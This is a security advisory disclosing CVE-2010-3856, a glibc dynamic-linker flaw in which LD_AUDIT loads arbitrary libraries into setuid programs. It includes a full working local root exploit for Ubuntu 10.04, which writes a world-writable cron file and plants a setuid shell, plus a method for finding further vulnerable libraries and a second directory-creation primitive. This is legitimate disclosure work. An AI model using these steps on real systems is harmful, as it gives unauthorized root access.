The GNU C library dynamic linker will dlopen arbitrary DSOs during setuid loads ------------------------------------------------------------------------------- Cze??, This advisory describes CVE-2010-3856, an addendum to CVE-2010-3847. Please see http://seclists.org/fulldisclosure/2010/Oct/257 for background information. For obvious reasons, the dynamic linker will ignore requests to preload user specified libraries for setuid/setgid programs. However, it is possible to imagine legitimate use cases for this functionality, so the glibc developers provide an exception to this rule. LD_PRELOAD A whitespace-separated list of additional, user-specified, ELF shared libraries to be loaded before all others. This can be used to selectively override functions in other shared libraries. For set-user-ID/set-group-ID ELF binaries, only libraries in the standard search directories that are also set- user-ID will be loaded. In order to be preloaded during the execution of a privileged program, a library must be setuid and in the trusted library search path. This is a reasonable design, before a library will be loaded, the system administrator must brand a library as safe to load across privilege boundaries. This feature allows developers who design their programs to operate safely while running as setuid to opt-in to doing so. Bizarrely, the same conditions do not apply to LD_AUDIT, which will load an arbitrary DSO, regardless of whether it has been designed to operate safely or not. While the dynamic loader will only use a library that exports the dynamic symbols required by the rtld-auditing API, it must first dlopen() the library in order to examine the exported symbols. By definition, this must execute any defined initialization routines. This confusion can be exploited by locating a DSO in the trusted search path with initialization code that has not been designed to operate safely while euid != uid. See the Notes section below for additional discussion on this topic. -------------------- Affected Software ------------------------ At least the following versions have been tested 2.12.1, FC13 2.5, RHEL5 / CentOS5 2.11.1, Ubuntu 10 -------------------- Consequences ----------------------- This is a low impact issue that is only of interest to security professionals and system administrators, end users do not need to be concerned. It is possible to exploit this confusion to execute arbitrary code as root. The exact steps required to exploit this vulnerability will vary from distribution to distribution, but an example from Ubuntu 10.04 is given below. # The creation mask is inherited by children, and survives even a setuid # execve. Therefore, we can influence how files are created during # exploitation. $ umask 0 # libpcprofile is distributed with the libc package. $ dpkg -S /lib/libpcprofile.so libc6: /lib/libpcprofile.so $ ls -l /lib/libpcprofile.so -rw-r--r-- 1 root root 5496 2010-10-12 03:32 /lib/libpcprofile.so # We identified one of the pcprofile constructors is unsafe to run with # elevated privileges, as it creates the file specified in the output # environment variable. $ LD_AUDIT="libpcprofile.so" PCPROFILE_OUTPUT="/etc/cron.d/exploit" ping ERROR: ld.so: object 'libpcprofile.so' cannot be loaded as audit interface: undefined symbol: la_version; ignored. Usage: ping [-LRUbdfnqrvVaA] [-c count] [-i interval] [-w deadline] [-p pattern] [-s packetsize] [-t ttl] [-I interface or address] [-M mtu discovery hint] [-S sndbuf] [ -T timestamp option ] [ -Q tos ] [hop1 ...] destination # This results in creating a world writable file in the crontab directory. $ ls -l /etc/cron.d/exploit -rw-rw-rw- 1 root taviso 65 2010-10-21 14:22 /etc/cron.d/exploit # Setup a cronjob to give us privileges (of course, there are dozens of other # ways this could be exploited). $ printf "* * * * * root cp /bin/dash /tmp/exploit; chmod u+s /tmp/exploit\n" > /etc/cron.d/exploit # Wait a few minutes... $ ls -l /tmp/exploit ls: cannot access /tmp/exploit: No such file or directory $ ls -l /tmp/exploit ls: cannot access /tmp/exploit: No such file or directory $ ls -l /tmp/exploit -rwsr-xr-x 1 root root 83888 2010-10-21 14:25 /tmp/exploit # A setuid root shell appears. $ /tmp/exploit # whoami root ------------------- Solution ----------------------- Major distributions should be releasing updated glibc packages shortly. ------------------- Credit ----------------------- This bug was discovered by Tavis Ormandy. Thanks to Ben Hawkes and Julien Tinnes for additional insight, and their expertise tracking down convincing attack vectors. ------------------- Greetz ----------------------- Greetz to Hawkes, Julien, LiquidK, Lcamtuf, Neel, Spoonm, Felix, Robert, Asirap, Spender, Pipacs, Gynvael, Scarybeasts, Redpig, Kees, Eugene, Bruce D., and all my other elite friends and colleagues. Additional greetz to the openwall guys who saw this problem coming years ago. They continue to avoid hundreds of security vulnerabilities each year thanks to their insight into systems security. http://www.openwall.com/owl/ ------------------- Notes ----------------------- Finding candidate libraries is simple a matter of identifying DSOs that have declared constructors or other initialization code. There are multiple locations that initialization code can be declared, but .ctors is a common example. Using objdump, you can examine the section headers for any .ctors section. $ find /lib /usr/lib -maxdepth 1 -type f -exec objdump --headers --section=.ctors {} \; [ The system administrator can add additional trusted search paths by declaring them in /etc/ld.so.conf, but /lib and /usr/lib are the default paths. ] If a ctors section has a size greater than 2 * wordsize, constructors have been declared, and should be checked to see if they do anything interesting. An empty list is 2 * wordsize bytes because it must still hold the two invalid function pointers inserted into the list to mark list boundaries (alternatively you could print the difference between the symbols __CTOR_LIST__ and __CTOR_END__). http://gcc.gnu.org/onlinedocs/gcc-2.95.3/gcc_17.html#SEC237 "Each list always begins with an ignored function pointer (which may hold 0, -1, or a count of the function pointers after it, depending on the environment). This is followed by a series of zero or more function pointers to constructors (or destructors), followed by a function pointer containing zero." $ objdump --section=.ctors --headers /usr/lib/liblftp-tasks.so.0 /usr/lib/liblftp-tasks.so.0: file format elf32-i386 Sections: Idx Name Size VMA LMA File off Algn 17 .ctors 00000040 00ddafc4 00ddafc4 00071fc4 2**2 CONTENTS, ALLOC, LOAD, DATA Alternatively, $ gdb -q /usr/lib/liblftp-tasks.so.0 Reading symbols from /usr/lib/liblftp-tasks.so.0...(no debugging symbols found)...done. (gdb) symbol-file /usr/lib/debug/usr/lib/liblftp-tasks.so.0.debug (gdb) p &__CTOR_END__ - &__CTOR_LIST__ $1 = 15 This looks like a good candidate with lots of constructors. You can use objdump or gdb to dump the contents of the list. $ objdump --full-contents --section=.ctors /usr/lib/liblftp-tasks.so.0 /usr/lib/liblftp-tasks.so.0: file format elf32-i386 Contents of section .ctors: ddafc4 ffffffff 205fd800 e068d800 d07ad800 .... _...h...z.. ddafd4 608ad800 6067d900 7079d900 b0b3d900 `...`g..py...... ddafe4 d004da00 a037da00 403bda00 3061da00 .....7..@;..0a.. ddaff4 9062da00 90aada00 20ebdb00 00000000 .b...... ....... Notice the ffffffff at the start of the list, and 00000000 terminating it. The other entries are function pointers, stored in native byteorder. Examining the source code reveals it will mkdir(getenv("LFTP_HOME"), 0755) in the constructors for the Bookmark and History classes, so we can use this to create arbitrary directories as root. 40 Bookmark::Bookmark() 41 { 42 const char *home = get_lftp_home(); ... 47 } Followed by: 785 const char *get_lftp_home() 786 { ... 792 home = getenv("LFTP_HOME"); ... 811 mkdir(home, 0755); 812 return home; 813 } Therefore, $ LD_AUDIT="liblftp-tasks.so.0" LFTP_HOME=/etc/exploit ping ERROR: ld.so: object 'liblftp-tasks.so.0' cannot be loaded as audit interface: undefined symbol: la_version; ignored. Usage: ping [-LRUbdfnqrvVaA] [-c count] [-i interval] [-w deadline] [-p pattern] [-s packetsize] [-t ttl] [-I interface or address] [-M mtu discovery hint] [-S sndbuf] [ -T timestamp option ] [ -Q tos ] [hop1 ...] destination $ ls -ld /etc/exploit drwxr-x---. 2 root taviso 4.0K Oct 22 01:18 /etc/exploit/ And so on, repeat for all accessible DSOs. The ELF standards document initialization and termination here http://web.archive.org/web/20041026003725/www.caldera.com/developers/gabi/2003-12-17/ch5.dynamic.html#init_fini ------------------- References ----------------------- - http://man.cx/ld.so%288%29, The dynamic linker/loader, Linux Programmer's Manual. - http://man.cx/rtld-audit, The auditing API for the dynamic linker, Linux Programmer's Manual. - Linkers and Loaders, John R. Levine, ISBN 1-55860-496-0. You should subscribe to Linux Weekly News and help support their high standard of security journalism. http://lwn.net/ I have a twitter account where I occasionally comment on security topics. http://twitter.com/taviso ex$$ -- ------------------------------------- taviso () cmpxchg8b com | pgp encrypted mail preferred